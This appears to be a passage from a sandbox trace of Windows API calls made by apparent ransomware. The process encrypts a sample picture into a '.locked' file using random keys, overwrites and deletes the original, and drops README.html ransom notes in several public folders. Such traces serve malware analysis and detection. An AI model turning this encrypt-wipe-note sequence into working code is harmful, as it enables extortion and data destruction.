	[0084.808] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.808] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.808] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.808] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.809] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.809] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d41a0 | out: pbBuffer=0x123d41a0) returned 1
	[0084.809] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416101 | out: pbBuffer=0x12416101) returned 1
	[0084.809] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.811] SetEvent (hEvent=0x6c) returned 1
	[0084.811] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x97958, lpOverlapped=0x0) returned 1
	[0084.818] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.827] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x97958, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x97958, lpOverlapped=0x0) returned 1
	[0084.837] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.837] CloseHandle (hObject=0xc4) returned 1
	[0084.837] CloseHandle (hObject=0xc0) returned 1
	[0084.837] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee83c*=0x38) returned 1
	[0084.838] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg")) returned 1
	[0084.847] SetEvent (hEvent=0x6c) returned 1
	[0084.848] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.849] SetEvent (hEvent=0x6c) returned 1
	[0084.849] SetEvent (hEvent=0x8c) returned 1
	[0084.849] SetEvent (hEvent=0x78) returned 1
	[0084.849] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.849] SetEvent (hEvent=0xa8) returned 1
	[0084.849] SetEvent (hEvent=0x78) returned 1
	[0084.865] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.866] SetEvent (hEvent=0x78) returned 1
	[0084.867] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.868] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.868] SetEvent (hEvent=0x78) returned 1
	[0084.868] SetEvent (hEvent=0x8c) returned 1
	[0084.868] SetEvent (hEvent=0x6c) returned 1
	[0084.868] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.868] SetEvent (hEvent=0x6c) returned 1
	[0084.869] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.869] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.869] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.887] CloseHandle (hObject=0xc0) returned 1
	[0084.887] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg")) returned 1
	[0084.890] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460)) returned 1
	[0084.890] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1
	[0084.890] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV" (normalized: "c:\\users\\public\\recorded tv"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.892] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV" (normalized: "c:\\users\\public\\recorded tv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.892] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0084.892] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.892] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.892] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1
	[0084.892] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.892] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0084.892] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\README.html" (normalized: "c:\\users\\public\\recorded tv\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.893] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0084.894] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0084.894] CloseHandle (hObject=0xc0) returned 1
	[0084.895] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123901c0*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123901c0*, lpNumberOfCharsWritten=0x127ee914*=0x36) returned 1
	[0084.896] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media" (normalized: "c:\\users\\public\\recorded tv\\sample media"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.896] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media" (normalized: "c:\\users\\public\\recorded tv\\sample media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.896] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0084.896] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.896] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.896] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1
	[0084.896] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.896] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0084.896] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\README.html" (normalized: "c:\\users\\public\\recorded tv\\sample media\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.898] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0084.898] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0084.899] CloseHandle (hObject=0xc0) returned 1
	[0084.899] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8b0*=0x43) returned 1
	[0084.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab)) returned 1
	[0084.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000)) returned 1
	[0084.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1
	[0084.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.901] CreateFileW (lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.901] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0084.901] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.901] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.901] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1
	[0084.901] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.901] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0084.901] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\README.html" (normalized: "c:\\users\\public\\videos\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.902] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0084.902] WriteFile (in: hFile=0xc0, lpBuffer=0x126f2580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f2580*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0084.903] CloseHandle (hObject=0xc0) returned 1
	[0084.903] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390310*, nNumberOfCharsToWrite=0x31, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12390310*, lpNumberOfCharsWritten=0x127ee914*=0x31) returned 1
	[0084.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos" (normalized: "c:\\users\\public\\videos\\sample videos"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.904] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos" (normalized: "c:\\users\\public\\videos\\sample videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.904] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0084.904] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.904] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.904] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1
	[0084.904] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.904] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0084.904] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\README.html" (normalized: "c:\\users\\public\\videos\\sample videos\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
